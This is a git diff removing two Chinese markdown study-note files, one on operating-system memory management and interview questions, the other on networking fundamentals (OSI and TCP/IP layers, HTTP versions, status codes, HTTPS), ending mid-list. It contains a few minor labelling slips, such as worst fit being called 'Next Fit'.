-![](https://img-blog.csdnimg.cn/2da3a2f130cf415cb0b42c19fda70f30.png"> - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-51d4172c-068b-46b2-a7bc-fb4a6d39955b.png) - -当 CPU 需要执行一条指令时,如果指令中涉及内存读写操作,CPU 会把虚拟地址给 MMU,MMU 自动完成虚拟地址到真实地址的计算;然后,MMU 连接了地址总线,帮助 CPU 操作真实地址。 - -在不同 CPU 的 MMU 可能是不同的,因此这里会遇到很多跨平台的问题。 - -解决跨平台问题不但有繁重的工作量,更需要高超的编程技巧。 - -### 动态分区分配算法 - -内存分配算法,大体来说分为:**连续式分配 与 非连续式分配** - -连续式分配就是把所以要执行的程序 **完整的,有序的** 存入内存,连续式分配又可以分为**固定分区分配 和 动态分区分配** - -非连续式分配就是把要执行的程序按照一定规则进行拆分,显然这样更有效率,现在的操作系统通常也都是采用这种方式分配内存 - -所谓动态分区分配,就是指**内存在初始时不会划分区域,而是会在进程装入时,根据所要装入的进程大小动态地对内存空间进行划分,以提高内存空间利用率,降低碎片的大小** - -动态分区分配算法有以下四种: - -> 首次适应算法(First Fit) - -空闲分区以地址递增的次序链接,分配内存时顺序查找,找到大小满足要求的第一个空闲分区就进行分配 - -![](https://img-blog.csdnimg.cn/e5cf8456bf9941758f6a1bd2ba1c351a.png"> - -> 邻近适应算法(Next Fit) - -又称循环首次适应法,由首次适应法演变而成,不同之处是分配内存时从上一次查找结束的位置开始继续查找 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-a072428d-1d01-4c93-b5bb-8d2f9721d2ba.png) - -> 最佳适应算法(Best Fit) - -空闲分区按容量递增形成分区链,找到第一个能满足要求的空闲分区就进行分配 - -![](https://img-blog.csdnimg.cn/585a5ba3e4ad4eaeae77ebd1d8b02b32.png"> - -> 最坏适应算法(Next Fit) - -又称最大适应算法,空闲分区以容量递减的次序链接,找到第一个能满足要求的空闲分区(也就是最大的分区)就进行分配 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-4673dda6-3940-4a15-ba09-6acfe095ff62.png) - -**总结** - -首次适应不仅最简单,通常也是最好最快,不过首次适应算法会使得内存低地址部分出现很多小的空闲分区,而每次查找都要经过这些分区,因此也增加了查找的开销。 - -邻近算法试图解决这个问题,但实际上,它常常会导致在内存的末尾分配空间分裂成小的碎片,它通常比首次适应算法结果要差。 - -最佳适应算法导致大量碎片,最坏适应算法导致没有大的空间。 - -### 内存覆盖 - -覆盖与交换技术是在程序用来扩充内存的两种方法。 - -早期的计算机系统中,主存容量很小,虽然主存中仅存放一道用户程序,但是存储空间放不下用户进程的现象也经常发生,这一矛盾可以用覆盖技术来解决。 - -**覆盖的基本思想是:** - -由于程序运行时并非任何时候都要访问程序及数据的各个部分(尤其是大程序),因此可以把用户空间分成一个固定区和若干个覆盖区。 - -将经常活跃的部分放在固定区,其余部分按调用关系分段。 - -首先将那些即将要访问的段放入覆盖区,其他段放在外存中,在需要调用前,系统再将其调入覆盖区,替换覆盖区中原有的段。 - -覆盖技术的特点是打破了必须将一个进程的全部信息装入主存后才能运行的限制,但当同时运行程序的代码量大于主存时仍不能运行。 - -### 内存交换 - -**交换的基本思想** - -把处于等待状态(或在CPU调度原则下被剥夺运行权利)的程序从内存移到辅存,把内存空间腾出来,这一过程又叫换出; - -把准备好竞争CPU运行的程序从辅存移到内存,这一过程又称为换入。 - -> 例如,有一个CPU釆用时间片轮转调度算法的多道程序环境。 - -时间片到,内存管理器将刚刚执行过的进程换出,将另一进程换入到刚刚释放的内存空间中。 - -同时,CPU调度器可以将时间片分配给其他已在内存中的进程。 - -每个进程用完时间片都与另一进程交换。 - -理想情况下,内存管理器的交换过程速度足够快,总有进程在内存中可以执行。 - -> 交换技术主要是在不同进程(或作业)之间进行,而覆盖则用于同一个程序或进程中。 - -由于覆盖技术要求给出程序段之间的覆盖结构,使得其对用户和程序员不透明,所以对于主存无法存放用户程序的矛盾 - -现代操作系统是通过虚拟内存技术来解决的,覆盖技术则已成为历史;而交换技术在现代操作系统中仍具有较强的生命力。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 常见面试题 - -**进程、线程的区别** - -操作系统会以进程为单位,分配系统资源(CPU时间片、内存等资源),进程是资源分配的最小单位。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-6a48d3af-0342-4529-a45e-3ff739d8b22c.png) - -调度:线程作为CPU调度和分配的基本单位,进程作为拥有资源的基本单位; - -并发性:不仅进程之间可以并发执行,同一个进程的多个线程之间也可并发执行; - -> 拥有资源: - -进程是拥有资源的一个独立单位,线程不拥有系统资源,但可以访问隶属于进程的资源。 - -进程所维护的是程序所包含的资源(静态资源), 如:地址空间,打开的文件句柄集,文件系统状态,信号处理handler等; - -线程所维护的运行相关的资源(动态资源),如:运行栈,调度相关的控制信息,待处理的信号集等; - -> 系统开销: - -在创建或撤消进程时,由于系统都要为之分配和回收资源,导致系统的开销明显大于创建或撤消线程时的开销。 - -但是进程有独立的地址空间,一个进程崩溃后,在保护模式下不会对其它进程产生影响,而线程只是一个进程中的不同执行路径。 - -线程有自己的堆栈和局部变量,但线程之间没有单独的地址空间,一个进程死掉就等于所有的线程死掉,所以多进程的程序要比多线程的程序健壮,但在进程切换时,耗费资源较大,效率要差一些。 - -**一个进程可以创建多少线程** - -理论上,一个进程可用虚拟空间是2G,默认情况下,线程的栈的大小是1MB,所以理论上最多只能创建2048个线程。 - -如果要创建多于2048的话,必须修改编译器的设置。 - -在一般情况下,你不需要那么多的线程,过多的线程将会导致大量的时间浪费在线程切换上,给程序运行效率带来负面影响。 - -**外中断和异常有什么区别** - -外中断是指由 CPU 执行指令以外的事件引起,如 I/O 完成中断,表示设备输入/输出处理已经完成,处理器能够发送下一个输入/输出请求,此外还有时钟中断、控制台中断等。 - -而异常时由 CPU 执行指令的内部事件引起,如非法操作码、地址越界、算术溢出等。 - -**解决Hash冲突四种方法** - -开放定址法 - -- 开放定址法就是一旦发生了冲突,就去寻找下一个空的散列地址,只要散列表足够大,空的散列地址总能找到,并将记录存入。 - -链地址法 - -- 将哈希表的每个单元作为链表的头结点,所有哈希地址为i的元素构成一个同义词链表。即发生冲突时就把该关键字链在以该单元为头结点的链表的尾部。 - -再哈希法 - -- 当哈希地址发生冲突用其他的函数计算另一个哈希函数地址,直到冲突不再产生为止。 - -建立公共溢出区 - -- 将哈希表分为基本表和溢出表两部分,发生冲突的元素都放入溢出表中。 - -**分页机制和分段机制有哪些共同点和区别** - -共同点 - -- 分页机制和分段机制都是为了提高内存利用率,较少内存碎片。 -- 页和段都是离散存储的,所以两者都是离散分配内存的方式。但是,每个页和段中的内存是连续的。 - -区别 - -- 页的大小是固定的,由操作系统决定;而段的大小不固定,取决于我们当前运行的程序。 -- 分页仅仅是为了满足操作系统内存管理的需求,而段是逻辑信息的单位,在程序中可以体现为代码段,数据段,能够更好满足用户的需要。 -- 分页是一维地址空间,分段是二维的。 - -**介绍一下几种典型的锁** - -> 读写锁 - -- 可以同时进行多个读 -- 写者必须互斥(只允许一个写者写,也不能读者写者同时进行) -- 写者优先于读者(一旦有写者,则后续读者必须等待,唤醒时优先考虑写者) - -> 互斥锁 - -一次只能一个线程拥有互斥锁,其他线程只有等待 - -互斥锁是在抢锁失败的情况下主动放弃CPU进入睡眠状态直到锁的状态改变时再唤醒,而操作系统负责线程调度,为了实现锁的状态发生改变时唤醒阻塞的线程或者进程,需要把锁交给操作系统管理,所以互斥锁在加锁操作时涉及上下文的切换。 - -互斥锁实际的效率还是可以让人接受的,加锁的时间大概100ns左右,而实际上互斥锁的一种可能的实现是先自旋一段时间,当自旋的时间超过阀值之后再将线程投入睡眠中,因此在并发运算中使用互斥锁(每次占用锁的时间很短)的效果可能不亚于使用自旋锁 - -> 条件变量 - -互斥锁一个明显的缺点是他只有两种状态:锁定和非锁定。 - -而条件变量通过允许线程阻塞和等待另一个线程发送信号的方法弥补了互斥锁的不足,他常和互斥锁一起使用,以免出现竞态条件。 - -当条件不满足时,线程往往解开相应的互斥锁并阻塞线程然后等待条件发生变化。 - -一旦其他的某个线程改变了条件变量,他将通知相应的条件变量唤醒一个或多个正被此条件变量阻塞的线程。 - -总的来说**互斥锁是线程间互斥的机制,条件变量则是同步机制。** - -> 自旋锁 - -如果进线程无法取得锁,进线程不会立刻放弃CPU时间片,而是一直循环尝试获取锁,直到获取为止。 - -如果别的线程长时期占有锁,那么自旋就是在浪费CPU做无用功,但是自旋锁一般应用于加锁时间很短的场景,这个时候效率比较高。 - -虽然它的效率比互斥锁高,但是它也有些不足之处: - -- 自旋锁一直占用CPU,在未获得锁的情况下,一直进行自旋,所以占用着CPU,如果不能在很短的时间内获得锁,无疑会使CPU效率降低。 -- 在用自旋锁时有可能造成死锁,当递归调用时有可能造成死锁。 - -**如何让进程后台运行** - -1.命令后面加上&即可,实际上,这样是将命令放入到一个作业队列中了 - -2.ctrl + z 挂起进程,使用jobs查看序号,在使用bg %序号后台运行进程 - -3.nohup + &,将标准输出和标准错误缺省会被重定向到 `nohup.out` 文件中,忽略所有挂断(SIGHUP)信号 - -``` -nohup ping www.ibm.com & -``` - -4.运行指令前面 + setsid,使其父进程变成init进程,不受SIGHUP信号的影响 - -``` -[root@pvcent107 ~]## setsid ping www.ibm.com -[root@pvcent107 ~]## ps -ef |grep www.ibm.com -root 31094 1 0 07:28 ? 00:00:00 ping www.ibm.com -root 31102 29217 0 07:29 pts/4 00:00:00 grep www.ibm.com -``` - -上例中我们的进程 ID(PID)为31094,而它的父 ID(PPID)为1(即为 init 进程 ID),并不是当前终端的进程 ID。 - -> 5.将命令+ &放在()括号中,也可以是进程不受HUP信号的影响 - -``` -[root@pvcent107 ~]## (ping www.ibm.com &) -``` - -**异常和中断的区别** - -> 中断 - -当我们在敲击键盘的同时就会产生中断,当硬盘读写完数据之后也会产生中断,所以,我们需要知道,中断是由硬件设备产生的,而它们从物理上说就是电信号,之后,它们通过中断控制器发送给CPU,接着CPU判断收到的中断来自于哪个硬件设备(这定义在内核中),最后,由CPU发送给内核,有内核处理中断。 - -下面这张图显示了中断处理的流程: - -![](https://img-blog.csdnimg.cn/6c0a43b5915e44bf8d05b6d871fd3b25.png"> - -> 异常 - -CPU处理程序的时候一旦程序不在内存中,会产生缺页异常;当运行除法程序时,当除数为0时,又会产生除0异常。 - -**异常是由CPU产生的,同时,它会发送给内核,要求内核处理这些异常** - -下面这张图显示了异常处理的流程: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-1555a2c9-121e-4b08-a685-2d789fc3b66b.png) - -> 相同点 - -- 最后都是由CPU发送给内核,由内核去处理 -- 处理程序的流程设计上是相似的 - -> 不同点 - -- 产生源不相同,异常是由CPU产生的,而中断是由硬件设备产生的 -- 内核需要根据是异常还是中断调用不同的处理程序 -- 中断不是时钟同步的,这意味着中断可能随时到来;异常由于是CPU产生的,所以它是时钟同步的 -- 当处理中断时,处于中断上下文中;处理异常时,处于进程上下文中 - ---- - ->作者:月伴飞鱼,转载链接:[https://mp.weixin.qq.com/s/G9ZqwEMxjrG5LbgYwM5ACQ](https://mp.weixin.qq.com/s/G9ZqwEMxjrG5LbgYwM5ACQ) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cs/wangluo.md b/docs/src/cs/wangluo.md deleted file mode 100644 index 5482d155e5..0000000000 --- a/docs/src/cs/wangluo.md +++ /dev/null @@ -1,1421 +0,0 @@ ---- -category: - - 计算机基础 -tag: - - 计算机网络 ---- - -# 计算机网络核心知识点 - ->作者:月伴飞鱼,转载链接:[https://mp.weixin.qq.com/s/7EddtzpwIRvYfw34QE4zvw](https://mp.weixin.qq.com/s/7EddtzpwIRvYfw34QE4zvw) - - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-608345cf-8378-4b34-bc91-ca6d2fa25da7.png) - -## OSI七层模型 - -**物理层** - -首先解决两台物理机之间的通信需求,具体就是机器A往机器B发送比特流,机器B能收到比特流。 - -物理层主要定义了物理设备的标准,如网线的类型,光纤的接口类型,各种传输介质的传输速率。 - -主要作用是传输比特流(`0101`二进制数据),将比特流转化为电流强弱传输,到达目的后再转化为比特流,即常说的数模转化和模数转换。 - -这层数据叫做比特。**网卡工作在这层**。 - -物理层是OSI七层模型的物理基础,没有它就谈不上数据传输了 - -物理层就是由实物所承载的,所以作比喻的话,公路、汽车和飞机等承载货物(数据)的交通工具,就是物理层的象征 - -**数据链路层** - -在传输比特流的过程中,会产生错传、数据传输不完整的可能。 - -数据链路层定义了**如何格式化数据进行传输**,以及如何控制对物理介质的访问。通常提供错误检测和纠正,以确保数据传输的准确性。 - -本层将比特数据组成帧,交换机工作在这层,对帧解码,并根据帧中包含的信息把数据发送到正确的接收方。 - -该层负责物理层面上互连的节点之间的通信传输。例如与1个以太网相连的两个节点间的通讯。 - -常见的协议有 `HDLC、PPP、SLIP`等 - -数据链路层会将`0、1`序列划分为具有意义的数据帧传送给对端(**数据帧的生成与接收**) - -**网络层** - -随着网络节点的不断增加,点对点通讯需要通过多个节点,如何找到目标节点,如何选择最佳路径成为首要需求。 - -网络层主要功能是将网络地址转化为对应的物理地址,并决定如何将数据从发送方路由到接收方。 - -网络层通过综合考虑发送优先权、网络拥塞程度、服务质量以及可选路由的花费来决定从一个网络中节点A到另一个网络中节点B的最佳路径。 - -由于网络层处理并智能指导数据传送,路由器连接网络隔断,所以路由器属于网络层。 - -此层的数据称之为数据包。本层需要关注的协议`TCP/IP`协议中的IP协议。 - -网络层负责将数据传输到目标地址。目标地址可以使多个网络通过路由器连接而成的某一个地址。因此这一层主要负责**寻址和路由选择**。主要由 `IP、ICMP` 两个协议组成 - -网络层将数据从发送端的主机发送到接收端的主机,两台主机间可能会存在很多数据链路,但网络层就是负责找出一条相对顺畅的通路将数据传递过去。传输的地址使用的是IP地址。IP地址通过不断转发到更近的IP地址,最终可以到达目标地址 - -**传输层** - -随着网络通信需求的进一步扩大,通信过程中需要发送大量的数据,如海量文件传输,可能需要很长时间,网络在通信的过程中会中断很多次,此时为了保证传输大量文件时的准确性,需要对发送出去的数据进行切分,切割为一个一个的段落(`Segement`)发送,其中一个段落丢失是否重传,段落是否按顺序到达,是传输层需要考虑的问题。 - -传输层解决了主机间的数据传输,数据间的传输可以是不同网络,并且传输层解决了**传输质量**的问题。 - -传输层需要关注的协议有TCP/IP协议中的`TCP`协议和`UDP`协议。 - -**会话层** - -自动收发包,自动寻址。 - -会话层作用是**负责建立和断开通信连接**,何时建立,断开连接以及保持多久的连接。常见的协议有 `ADSP、RPC` 等 - -**表示层** - -Linux给WIndows发包,不同系统语法不一致,如exe不能在`Linux`下执行,shell不能在Windows不能直接运行。于是需要表示层。 - -解决**不同系统之间通信语法问题**,在表示层数据将按照网络能理解的方案进行格式化,格式化因所使用网络的不同而不同。 - -它主要负责数据格式的转换。具体来说,就是讲设备固有的数据格式转换为网络标准格式。常见的协议有`ASCII、SSL/TLS` 等 - -**应用层** - -规定发送方和接收方必须使用一个固定长度的消息头,消息头必须使用某种固定的组成,消息头中必须记录消息体的长度等信息,方便接收方正确解析发送方发送的数据。 - -应用层旨在更**方便应用从网络中接收的数据**,重点关注`TCP/IP`协议中的HTTP协议 - -四层传输层数据被称作**段**(Segments); - -三层网络层数据被称做**包**(Packages); - -二层数据链路层时数据被称为**帧**(Frames); - -一层物理层时数据被称为**比特流**(Bits)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-d1fdc5fc-c955-4591-9c95-e297a64eccdc.png) - -## TCP和IP模型 - -OSI模型注重通信协议必要的功能;TCP/IP更强调在计算机上实现协议应该开发哪种程序 - -**TCP/IP划分了四层网络模型** - -- 第一层:应用层,主要有负责web浏览器的HTTP协议, 文件传输的FTP协议,负责电子邮件的SMTP协议,负责域名系统的DNS等 -- 第二层:传输层,主要是有**可靠传输**的TCP协议,特别**高效**的UDP协议。主要负责传输应用层的数据包。 -- 第三层:网络层,主要是IP协议。主要负责寻址(找到目标设备的位置) -- 第四层:数据链路层,主要是负责转换数字信号和物理二进制信号。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-fa4a4d20-f0db-4ba7-a31e-7772f2f132a8.png) - -**四层网络协议的作用** - -- 发送端是由上至下,把上层来的数据在头部加上各层协议的数据(部首)再下发给下层。 -- 接受端则由下而上,把从下层接受到的数据进行解密和去掉头部的部首后再发送给上层。 -- 层层加密和解密后,应用层最终拿到了需要的数据。 - -**举个例子:** - -我们需要发送一个**index.html**。 - -两台电脑在应用层都使用HTTP协议(即都使用浏览器)。 - -在传输层,TCP协议会将HTTP协议发送的数据看作一个数据包,并在这个数据包前面加上TCP包的一部分信息(部首) - -在网络层,IP协议会将TCP协议要发送的数据看作一个数据包,同样的在这个数据包前端加上IP协议的部首 - -在数据链路层,对应的协议也会在IP数据包前端加上以太网的部首。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-1d3ce227-fd77-4b95-89dd-aeb786bb4b9e.png) - -源设备和目标设备通过网线连接,就可以通过物理层的二进制传输数据。 - -数据链路层,会使用对应的协议找到物理层的二进制数据,解码得到以太网的部首信息和对应的IP数据包,再将IP数据包传给上层的网络层。 - -数据链路层>网络层>传输层>应用层,一层层的解码,最后就可以在浏览器中得到目标设备传送过来的**index.html**。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-731f7daa-1b47-4191-828f-c6e54d650604.png) - -**TCP/IP协议族** - -从字面意义上来讲,TCP/IP是指**传输层**的TCP协议和**网络层**的IP协议。 - -实际上,TCP/IP只是利用 IP 进行通信时所必须用到的协议群的统称。 - -具体来说,在网络层是IP/ICMP协议、在传输层是TCP/UDP协议、在应用层是SMTP、FTP、以及 HTTP 等。他们都属于 TCP/IP 协议。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 网络设备 - -### 交换机 - -交换机可以接入多台电脑 - -每个电脑网卡的 **MAC 地址**都是不一样的,电脑发送数据时,数据头部携带网卡的 MAC 地址,用 MAC 地址标识来不同的电脑 - -交换机就可以识别数据头部的 MAC 地址来区分不同的电脑 - -交换机除了能识别不同的电脑,还需要找到电脑连接的**交换机端口**,才能顺利的把数据从相应端口发送出去 - -交换机通过**自学机制**,把学习到的设备 MAC 地址和交换机端口号添加到 **MAC 地址表**,并根据 MAC 地址表进行数据**转发** - -### 路由器 - -交换机需要记录的 MAC 地址表也越来越多,需要的交换机也越来越多 - -但是交换机的**容量和性能有限**,MAC 地址表无法记录全世界电脑的 MAC 地址和对应的端口号,MAC 地址表太大也无法快速查找到对应的 MAC 地址表项 - -于是就有了三层网络设备**路由器**,路由器可以把全世界的网络连接起来 - -局域网内的网络连接可以使用**交换机**,例如一个公司内的网络或者一个校园内的网络通过交换机连接 - -不同区域的局域网互联使用**路由器** - -> 那么如何区分不同的网络区域呢?又是如何跨网络区域进行数据转发的呢? - -路由器有多个端口,分别连接不同的网络区域,不同网络区域的 IP 地址**网络号不同** - -它通过识别目的 IP 地址的**网络号**,再根据**路由表**进行数据转发 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## HTTP - -**请求方法** - -HTTP1.0 定义了三种请求方法: GET, POST 和 HEAD方法。 - -HTTP1.1 新增了六种请求方法:OPTIONS、PUT、PATCH、DELETE、TRACE 和 CONNECT 方法。 - -| 序 号 | 方法 | 描述 | -| ----- | ------- | ------------------------------------------------------------ | -| 1 | GET | 请求指定的页面信息,并返回实体主体。 | -| 2 | HEAD | 类似于 GET 请求,只不过返回的响应中没有具体的内容,用于获取报头 | -| 3 | POST | 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中。POST 请求可能会导致新的资源的建立和/或已有资源的修改。 | -| 4 | PUT | 从客户端向服务器传送的数据取代指定的文档的内容。 | -| 5 | DELETE | 请求服务器删除指定的页面。 | -| 6 | CONNECT | HTTP/1.1 协议中预留给能够将连接改为管道方式的代理服务器。 | -| 7 | OPTIONS | 允许客户端查看服务器的性能。 | -| 8 | TRACE | 回显服务器收到的请求,主要用于测试或诊断。 | -| 9 | PATCH | 是对 PUT 方法的补充,用来对已知资源进行局部更新 。 | - -**GET请求和POST请求的区别** - -1. GET 请求的请求参数是添加到 head 中,可以在 url 中可以看到;POST 请求的请求参数是添加到body中,在url 中不可见。 -2. 请求的url有长度限制,这个限制由浏览器和 web 服务器决定和设置的,例如IE浏览器对 URL的最大限制为2083个字符,如果超过这个数字,提交按钮没有任何反应,因为GET请求的参数是添加到URL中,所以GET请求的URL的长度限制需要将请求参数长度也考虑进去。而POST请求不用考虑请求参数的长度。 -3. GET请求产生一个数据包; POST请求产生2个数据包,在火狐浏览器中,产生一个数据包,这个区别点在于浏览器的请求机制,先发送请求头,再发送请求体,因为GET没有请求体,所以就发送一个数据包,而POST包含请求体,所以发送两次数据包,但是由于火狐机制不同,所以发送一个数据包。 -4. GET 请求会被浏览器主动缓存下来,留下历史记录,而 POST 默认不会。 -5. GET是幂等的,而POST不是(幂等表示执行相同的操作,结果也是相同的) -6. GET是获取数据,POST是修改数据 - -### 状态码 - -**状态码由3位数字组成,第一位定义响应的类别** - -1XX:指示信息,表示请求以接收,继续处理 - -2XX:成功,表示请求已经被成功接收、理解、接受 - -- 200 OK 是最常见的成功状态码,表示一切正常。如果是非 HEAD 请求,服务器返回的响应头都会有 body 数据。 -- 204 No Content 也是常见的成功状态码,与 200 OK 基本相同,但响应头没有 body 数据。 - -- 206 Partial Content 是应用于 HTTP 分块下载或断电续传,表示响应返回的 body 数据并不是资源的全部,而是其中的一部分,也是服务器处理成功的状态。 - -3XX:状态码表示客户端请求的资源发送了变动,需要客户端用新的 URL 重新发送请求获取资源,也就是**重定向**。 - -* 301 Moved Permanently 表示永久重定向,说明请求的资源已经不存在了,需改用新的 URL 再次访问,搜索引擎在抓取新内容的同时也将旧的网址交换为重定向之后的网址。 -* 302 Moved Permanently 表示临时重定向,说明请求的资源还在,但暂时需要用另一个 URL 来访问,搜索引擎会抓取新的内容而保存旧的网址。 - -301 和 302 都会在响应头里使用字段 Location,指明后续要跳转的 URL,浏览器会自动重定向新的 URL。 - -* 304 Not Modified不具有跳转的含义,表示资源未修改,重定向已存在的缓冲文件,也称缓存重定向,用于缓存控制。 - -4XX:状态码表示客户端发送的**报文有误**,服务器无法处理,也就是错误码的含义。 - -* 400 Bad Request表示客户端请求的报文有错误。 - -* 401 Unauthorized:缺失或错误的认证,这个状态代码必须和WWW-Authenticate报头域一起使用。 - -* 403 Forbidden表示服务器禁止访问资源,并不是客户端的请求出错。 - -* 404 Not Found表示请求的资源在服务器上不存在或未找到,所以无法提供给客户端。 - -5XX:状态码表示客户端请求报文正确,但是**服务器处理时内部发生了错误**,属于服务器端的错误码。 - -* 501 Not Implemented 表示客户端请求的功能还不支持。 - -* 502 Bad Gateway 通常是服务器作为网关或代理时返回的错误码,表示服务器自身工作正常,访问后端服务器发生了错误。 - -* 503 Service Unavailable 表示服务器当前很忙,暂时无法响应服务器。 - -* 504 Gateway Timeout:网关超时,由作为代理或网关的服务器使用,表示不能及时地从远程服务器获得应答。 - -**301和302的区别** - -301重定向,指页面永久性转移,表示为资源或页面永久性地转移到了另一个位置。 - -301是HTTP协议中的一种状态码,当用户或搜索引擎向服务器发出浏览请求时,服务器返回的HTTP数据流中头信息中包含状态码 301 ,表示该资源已经永久改变了位置。 - -302重定向是页面暂时性转移,搜索引擎会抓取新的内容而保存旧的网址并认为新的网址只是暂时的。 - -### HTTP1.1 - -**长连接** - -HTTP 1.1支持长连接 - -HTTP 1.0规定浏览器与服务器只保持短暂的连接,浏览器的每次请求都需要与服务器建立一个TCP连接,服务器完成请求处理后立即断开TCP连接,服务器不跟踪每个客户也不记录过去的请求。 - -HTTP 1.1则支持持久连接Persistent Connection,并且默认使用,在同一个TCP的连接中可以传送多个HTTP请求和响应,多个请求和响应可以重叠,多个请求和响应可以同时进行,更加多的请求头和响应头 - -HTTP 1.1的持续连接,也需要增加新的请求头来帮助实现,例如,Connection请求头的值为Keep-Alive时,客户端通知服务器返回本次请求结果后保持连接;Connection请求头的值为Close时,客户端通知服务器返回本次请求结果后关闭连接。 - -**管道网络传输** - -HTTP/1.1 采用了长连接的方式,这使得管道网络传输成为了可能。 - -即可在同一个 TCP 连接里面,客户端可以发起多个请求,只要第一个请求发出去了,不必等其回来,就可以发第二个请求出去,可以**减少整体的响应时间。** - -举例来说,客户端需要请求两个资源。以前的做法是,在同一个TCP连接里面,先发送 A 请求,然后等待服务器做出回应,收到后再发出 B 请求,管道机制则是允许浏览器同时发出 A 请求和 B 请求。 - -但是服务器还是按照**顺序**,先回应 A 请求,完成后再回应 B 请求,要是 前面的回应特别慢,后面就会有许多请求排队等着。 - -**Host字段** - -在HTTP1.0中认为每台服务器都绑定一个唯一的IP地址,因此,请求消息中的URL并没有传递主机名,但随着虚拟主机技术的发展,在一台物理服务器上可以存在多个虚拟主机,并且它们共享一个IP地址。 - -HTTP1.1的请求消息和响应消息都应支持Host头域,且请求消息中如果没有Host头域会报告一个错误(400 Bad Request)。 - -此外,服务器应该接受以绝对路径标记的资源请求。 - -**100Status** - -HTTP/1.1加入了一个新的状态码100。 - -客户端事先发送一个只带头域的请求,如果服务器因为权限拒绝了请求,就回送响应码401(Unauthorized); - -如果服务器接收此请求就回送响应码100,客户端就可以继续发送带实体的完整请求了。 - -100状态代码的使用,允许客户端在发request消息body之前先用request header试探一下server,看server要不要接收request body,再决定要不要发request body。 - -**Chunked Transfer Coding** - -HTTP/1.1将发送方将消息分割成若干个任意大小的数据块,每个数据块在发送时都会附上块的长度,最后用一个零长度的块作为消息结束的标志。 - -这种方法允许发送方只缓冲消息的一个片段,避免缓冲整个消息带来的过载。 - -**Cache** - -HTTP/1.1在1.0的基础上加入了一些Cache的新特性,当缓存对象的Age超过Expire时变为Stable对象,Cache不需要直接抛弃Stable对象,而是与源服务器进行重新激活。 - -### HTTP2.0 - -**HTTP2.0和HTTP1.X相比的新特性** - -- 新的二进制格式,`HTTP1.x`的解析是基于文本 -- 多路复用,即连接共享,即每一个request都是是用作连接共享机制的,一个request对应一个id,这样一个连接上可以有多个request,每个连接的request可以随机的混杂在一起,接收方可以根据request的 id将request再归属到各自不同的服务端请求里面 - -- header压缩,`HTTP1.x`的header带有大量信息,而且每次都要重复发送,HTTP2.0使用encoder来减少需要传输的header大小,通讯双方各自cache一份header fields表,既避免了重复header的传输,又减小了需要传输的大小 -- 服务端推送 - -HTTP/2 还在一定程度上改善了传统的请求 - 应答工作模式,服务不再是被动地响应,也可以**主动**向客户端发送消息。 - -举例来说,在浏览器刚请求 HTML 的时候,就提前把可能会用到的 JS、CSS 文件等静态资源主动发给客户端,**减少延时的等待**,也就是服务器推送。 - -**数据流** - -HTTP/2 的数据包不是按顺序发送的,同一个连接里面连续的数据包,可能属于不同的回应。 - -因此,必须要对数据包做标记,指出它属于哪个回应。 - -每个请求或回应的所有数据包,称为一个数据流(Stream)。 - -每个数据流都标记着一个独一无二的编号,其中规定客户端发出的数据流编号为奇数, 服务器发出的数据流编号为偶数 - -客户端还可以**指定数据流的优先级**。优先级高的请求,服务器就先响应该请求。 - -**HTTP2.0的多路复用和HTTP1.X中的长连接复用有什么区别** - -- HTTP/1.1的Pipeling为若干个请求排队串行化单线程处理,后面的请求等待前面请求的返回才能获得执行机会,一旦有某请求超时等,后续请求只能被阻塞,毫无办法; -- HTTP2.0多个请求可同时在一个连接上并行执行,某个请求任务耗时严重,不会影响到其它连接的正常执行 - -### HTTP3.0 - -**使用UDP协议** - -HTTP/2 主要的问题在于:多个 HTTP 请求在复用一个 TCP 连接,下层的 TCP 协议是不知道有多少个 HTTP 请求的。 - -所以一旦发生了丢包现象,就会触发 TCP 的重传机制,这样在一个 TCP 连接中的**所有的 HTTP 请求都必须等待这个丢了的包被重传回来**。 - -- HTTP/1.1 中的管道传输中如果有一个请求阻塞了,那么队列后请求也统统被阻塞住了 -- HTTP/2 多请求复用一个TCP连接,一旦发生丢包,就会阻塞住所有的 HTTP 请求。 - -这都是基于 TCP 传输层的问题,所以 **HTTP/3 把 HTTP 下层的 TCP 协议改成了 UDP!** - -### HTTPS - -**HTTP与HTTPS的区别** - -HTTP 是明文传输协议,HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议,比 HTTP 协议安全 - -- HTTPS比HTTP更加安全,对搜索引擎更友好,利于SEO,谷歌、百度优先索引HTTPS网页 -- HTTPS需要用到SSL证书,而HTTP不用 - -- HTTPS标准端口443,HTTP标准端口80 -- HTTPS基于传输层,HTTP基于应用层 - -- HTTPS在浏览器显示绿色安全锁,HTTP没有显示 - -**工作原理** - -HTTPS 协议会对传输的数据进行加密,而加密过程是使用了非对称加密实现 - -HTTPS的整体过程分为证书验证和数据传输阶段,具体的交互过程如下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/wangluo-c1db0431-0eee-4c80-bb60-b7508a306864.png) - -* Client发起一个HTTPS的请求 -* Server把事先配置好的公钥证书返回给客户端。 -* Client验证公钥证书:比如是否在有效期内,证书的用途是不是匹配Client请求的站点,是不是在CRL吊销列表里面,它的上一级证书是否有效,这是一个递归的过程,直到验证到根证书(操作系统内置的Root证书或者Client内置的Root证书),如果验证通过则继续,不通过则显示警告信息。 -* Client使用伪随机数生成器生成加密所使用的对称密钥,然后用证书的公钥加密这个对称密钥,发给Server。 -* Server使用自己的私钥解密这个消息,得到对称密钥。至此,Client和Server双方都持有了相同的对称密钥。 -* Server使用对称密钥加密明文内容A,发送给Client。 -* Client使用对称密钥解密响应的密文,得到明文内容A。 -* 